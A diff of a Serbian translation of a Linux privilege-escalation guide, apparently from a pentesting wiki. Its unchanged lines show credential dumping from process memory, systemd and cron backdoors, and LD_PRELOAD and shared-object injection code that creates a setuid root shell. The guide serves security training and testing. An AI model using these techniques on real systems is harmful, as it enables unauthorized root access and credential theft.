-32,8 +32,8 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Možete pronaći dobru listu ranjivih kernela i neke već **kompilirane eksploite** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Ostale stranice gde možete pronaći neke **kompilirane eksploite**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Možete pronaći dobru listu ranjivih kernela i neke već **kompajlirane eksploite** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Ostale stranice gde možete pronaći neke **kompajlirane eksploite**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Da biste izvukli sve ranjive verzije kernela sa te veb stranice, možete uraditi: ```bash @@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Korisni softver -Enumerišite korisne binarne datoteke +Enumerate useful binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` @@ -148,17 +148,17 @@ Takođe, proverite da li je **bilo koji kompajler instaliran**. Ovo je korisno a ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Instaliran ranjiv softver +### Ranjivi Softver Instaliran -Proverite **verziju instaliranih paketa i usluga**. Možda postoji neka stara verzija Nagios-a (na primer) koja bi mogla biti iskorišćena za eskalaciju privilegija...\ +Proverite **verziju instaliranih paketa i usluga**. Možda postoji neka stara verzija Nagios-a (na primer) koja bi mogla biti iskorišćena za eskalaciju privilegija…\ Preporučuje se da ručno proverite verziju sumnjivijeg instaliranog softvera. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastarele i ranjive softvere instalirane unutar mašine. +Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite da li je instaliran zastareli i ranjiv softver. -> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju neki alati poput OpenVAS-a ili sličnih koji će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._ +> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuje korišćenje nekih aplikacija poput OpenVAS-a ili sličnih koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._ ## Procesi @@ -168,7 +168,7 @@ ps aux ps -ef top -n 1 ``` -Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** to detektuje proverom `--inspect` parametra unutar komandne linije procesa.\ +Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra unutar komandne linije procesa.\ Takođe **proverite svoje privilegije nad binarnim datotekama procesa**, možda možete prepisati nekoga. ### Praćenje procesa @@ -184,12 +184,12 @@ Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa k > [!WARNING] > Imajte na umu da većina mašina danas **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem neprivilegovanom korisniku. > -> Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupnost ptrace: +> Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše dostupnost ptrace-a: > > - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debagovani, sve dok imaju isti uid. Ovo je klasičan način na koji je ptracing radio. > - **kernel.yama.ptrace_scope = 1**: samo roditeljski proces može biti debagovan. -> - **kernel.yama.ptrace_scope = 2**: samo administrator može koristiti ptrace, jer zahteva CAP_SYS_PTRACE sposobnost. -> - **kernel.yama.ptrace_scope = 3**: Niti jedan proces ne može biti praćen sa ptrace. Kada se postavi, potreban je restart da bi se ponovo omogućio ptracing. +> - **kernel.yama.ptrace_scope = 2**: samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE sposobnost. +> - **kernel.yama.ptrace_scope = 3**: Niti jedan proces ne može biti praćen sa ptrace. Kada se postavi, potreban je restart da se ponovo omogući ptracing. #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **oblasti memorije čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i prebacimo sve čitljive oblasti** u fajl. +Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl. ```bash procdump() ( @@ -269,14 +269,14 @@ Press Ctrl-C to end monitoring without terminating the process. Za dumpovanje memorije procesa možete koristiti: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti zahteve za root i dumpovati proces koji je u vašem vlasništvu -- Skripta A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (potreban je root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dumpovati proces koji je u vašem vlasništvu +- Skripta A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) ### Akreditivi iz memorije procesa #### Ručni primer -Ako otkrijete da se proces autentifikacije izvršava: +Ako otkrijete da je proces autentifikacije pokrenut: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator @@ -290,14 +290,14 @@ strings *.dump | grep -i password Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti kredencijale u čistom tekstu iz memorije** i iz nekih **poznatih fajlova**. Zahteva root privilegije da bi pravilno radio. -| Karakteristika | Ime procesa | +| Funkcija | Ime procesa | | ------------------------------------------------- | -------------------- | | GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Aktivne FTP konekcije) | vsftpd | -| Apache2 (Aktivne HTTP Basic Auth sesije) | apache2 | -| OpenSSH (Aktivne SSH sesije - Sudo korišćenje) | sshd: | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Aktivne FTP konekcije) | vsftpd | +| Apache2 (Aktivne HTTP Basic Auth sesije) | apache2 | +| OpenSSH (Aktivne SSH sesije - Sudo korišćenje) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -340,7 +340,7 @@ Ako skripta koju izvršava root sadrži “**\***” unutar komande, mogli biste ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je džoker prethodjen putanjom kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** +**Ako je džoker prethodio putanji kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** Pročitajte sledeću stranicu za više trikova sa džokerima: @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Nevidljivi cron poslovi -Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (bez novog reda), i cron posao će raditi. Primer (obratite pažnju na znak povratka): +Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (bez karaktera novog reda), i cron posao će raditi. Primer (obratite pažnju na karakter povratnog znaka): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -383,9 +383,9 @@ Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** ( Proverite da li možete da pišete u bilo koju `.service` datoteku, ako možete, **možete je modifikovati** tako da **izvršava** vaš **backdoor kada** se usluga **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina ponovo pokrene).\ Na primer, kreirajte svoj backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** -### Writable servisne binarne datoteke +### Writable servisni binarni fajlovi -Imajte na umu da ako imate **dozvole za pisanje nad binarnim datotekama koje izvršavaju usluge**, možete ih promeniti za backdoor-e tako da kada se usluge ponovo izvrše, backdoor-i će biti izvršeni. +Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju usluge**, možete ih promeniti za backdoor-e tako da kada se usluge ponovo izvrše, backdoor-i će biti izvršeni. ### systemd PUTANJA - Relativne putanje @@ -399,9 +399,9 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binarnog fajla** unutar systemd PATH foldera u koji možete pisati, i kada se od usluge zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaša **zadnja vrata će biti izvršena** (korisnici bez privilegija obično ne mogu da pokreću/zaustavljaju usluge, ali proverite da li možete koristiti `sudo -l`). +Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binarnog fajla** unutar systemd PATH foldera u koji možete pisati, i kada se od servisa zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaša **backdoor će biti izvršena** (korisnici bez privilegija obično ne mogu da pokreću/zaustavljaju servise, ali proverite da li možete koristiti `sudo -l`). -**Saznajte više o uslugama sa `man systemd.service`.** +**Saznajte više o servisima sa `man systemd.service`.** ## **Tajmeri** @@ -419,12 +419,12 @@ Unit=backdoor.service ``` U dokumentaciji možete pročitati šta je jedinica: -> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano odgovara servisu koji ima isto ime kao jedinica tajmera, osim sufiksa. (Vidi iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa. +> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano postavlja servis koji ima isto ime kao jedinica tajmera, osim sufiksa. (Pogledajte iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa. Dakle, da biste zloupotrebili ovu dozvolu, trebali biste: - Pronaći neku systemd jedinicu (kao što je `.service`) koja **izvršava zapisivu binarnu datoteku** -- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program) +- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **zapisive privilegije** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program) **Saznajte više o tajmerima sa `man systemd.timer`.** @@ -435,15 +435,15 @@ Da biste omogućili tajmer, potrebne su vam root privilegije i da izvršite: sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Napomena **tajmer** je **aktiviran** kreiranjem symlink-a ka njemu na `/etc/systemd/system/.wants/.timer` +Napomena: **tajmer** se **aktivira** kreiranjem symlink-a ka njemu na `/etc/systemd/system/.wants/.timer` ## Sockets -Unix domena soketi (UDS) omogućavaju **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se kroz `.socket` datoteke. +Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međuračunarsku komunikaciju i postavljaju se putem `.socket` datoteka. Soketi se mogu konfigurisati koristeći `.socket` datoteke. -**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara: +**Saznajte više o soketima pomoću `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali se koristi sažetak da **naznači gde će slušati** soket (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.) - `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Zbog performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`. @@ -453,12 +453,12 @@ Soketi se mogu konfigurisati koristeći `.socket` datoteke. ### Writable .socket files -Ako pronađete **writable** `.socket` datoteku možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\ -_Napomena da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_ +Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\ +_Napomena: sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_ ### Writable sockets -Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), onda **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost. +Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), tada **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost. ### Enumerate Unix Sockets ```bash @@ -564,13 +564,13 @@ runc-privilege-escalation.md D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omogućava aplikacijama da efikasno komuniciraju i dele podatke. Dizajniran sa modernim Linux sistemom na umu, nudi robusnu strukturu za različite oblike komunikacije aplikacija. -Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni. +Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni. -D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola. +D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađenih pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola. Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekst politike važe za sve što nije pokriveno drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" politike konteksta važe za sve što nije pokriveno drugim specifičnim politikama. ```xml @@ -612,7 +612,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Otvoreni portovi Uvek proverite mrežne usluge koje rade na mašini sa kojom niste mogli da komunicirate pre nego što joj pristupite: ```bash @@ -629,7 +629,7 @@ timeout 1 tcpdump ### Opšta Enumeracija -Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** su u sistemima, koji mogu da **prijave** i koji imaju **root privilegije:** +Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** su u sistemima, koji mogu da se **prijave** i koji imaju **root privilegije:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Clipboard -Proverite da li se nešto zanimljivo nalazi u clipboard-u (ako je moguće) +Proverite da li se nešto zanimljivo nalazi unutar clipboard-a (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,7 +690,7 @@ Ako **znate neku lozinku** okruženja **pokušajte da se prijavite kao svaki kor Ako vam nije stalo do pravljenja velike buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. -## Zloupotrebe Writable PATH-a +## Zloupotreba Writable PATH-a ### $PATH @@ -698,7 +698,7 @@ Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete mo ### SUDO i SUID -Možda ćete biti u mogućnosti da izvršite neku komandu koristeći sudo ili bi mogli imati suid bit. Proverite to koristeći: +Možda će vam biti dozvoljeno da izvršite neku komandu koristeći sudo ili bi mogli imati suid bit. Proverite to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -782,12 +782,12 @@ Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena Promenljiva okruženja **LD_PRELOAD** se koristi za određivanje jedne ili više deljenih biblioteka (.so fajlova) koje će loader učitati pre svih drugih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke. -Međutim, kako bi se održala sigurnost sistema i sprečilo korišćenje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem nameće određene uslove: +Međutim, da bi se održala sigurnost sistema i sprečilo korišćenje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem nameće određene uslove: - Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde stvarni korisnički ID (_ruid_) ne odgovara efektivnom korisničkom ID (_euid_). - Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se prelažu. -Povećanje privilegija može se dogoditi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. +Povećanje privilegija može se dogoditi ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` @@ -809,12 +809,12 @@ Zatim **kompajlirajte to** koristeći: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Konačno, **escalate privileges** pokretanjem +Konačno, **povećajte privilegije** pokretanjem ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se tražiti biblioteke. +> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se pretraživati biblioteke. ```c #include #include @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa da proverite da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: +Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvolama datoteka i izvršavanjem shel-a sa povišenim privilegijama. +Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulišući dozvolama datoteka i izvršavajući shell sa povišenim privilegijama. Kompajlirajte gornji C fajl u deljeni objekat (.so) fajl sa: ```bash @@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` Konačno, pokretanje pogođenog SUID binarnog fajla trebalo bi da aktivira eksploataciju, omogućavajući potencijalni kompromis sistema. -## Uzimanje u obzir deljenih objekata +## Hijacking deljenih objekata ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz foldera gde možemo pisati, hajde da kreiramo biblioteku u tom folderu sa potrebnim imenom: +Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz fascikle u kojoj možemo pisati, hajde da kreiramo biblioteku u toj fascikli sa potrebnim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -894,7 +894,7 @@ to znači da biblioteka koju ste generisali treba da ima funkciju pod nazivom `a [**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo da injektujete argumente** u komandu. -Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih post-exploitation zadataka. +Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih zadataka nakon eksploatacije. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -947,14 +947,14 @@ sudo su ### /var/run/sudo/ts/\ Ako imate **dozvole za pisanje** u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ -Na primer, ako možete da prepišete datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći: +Na primer, ako možete da prepišete datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može koristiti `sudo` i kako. Ove datoteke **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\ -**Ako** možete **čitati** ovu datoteku, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **pisati** bilo koju datoteku, moći ćete da **escalirate privilegije**. +Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ovi fajlovi **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\ +**Ako** možete da **čitate** ovaj fajl, mogli biste da **dobijete neke zanimljive informacije**, a ako možete da **pišete** bilo koji fajl, bićete u mogućnosti da **escalirate privilegije**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1006,7 +1006,7 @@ Datoteka `/etc/ld.so.conf` označava **odakle su učitane konfiguracione datotek To znači da će se konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf` čitati. Ove konfiguracione datoteke **pokazuju na druge foldere** gde će se **biblioteke** **tražiti**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**. -Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo kojem od označenih puteva: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koja datoteka unutar `/etc/ld.so.conf.d/` ili bilo koji folder unutar konfiguracione datoteke u `/etc/ld.so.conf.d/*.conf`, može biti u mogućnosti da eskalira privilegije.\ +Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo kojem od putanja navedenih: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koja datoteka unutar `/etc/ld.so.conf.d/` ili bilo koji folder unutar konfiguracione datoteke unutar `/etc/ld.so.conf.d/*.conf`, može biti u mogućnosti da eskalira privilegije.\ Pogledajte **kako iskoristiti ovu pogrešnu konfiguraciju** na sledećoj stranici: {{#ref}} @@ -1058,7 +1058,7 @@ linux-capabilities.md ## Dozvole direktorijuma U direktorijumu, **bit za "izvršavanje"** implicira da korisnik može da "**cd**" u folder.\ -**"read"** bit implicira da korisnik može **da lista** **fajlove**, a **"write"** bit implicira da korisnik može **da obriše** i **kreira** nove **fajlove**. +**"Read"** bit implicira da korisnik može **da lista** **fajlove**, a **"write"** bit implicira da korisnik može **da obriše** i **kreira** nove **fajlove**. ## ACL-ovi @@ -1117,16 +1117,16 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Proverite **Valentine box from HTB** za primer. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\ -Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32.768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd.) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\ +Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Zanimljive konfiguracione vrednosti +### SSH Interesting 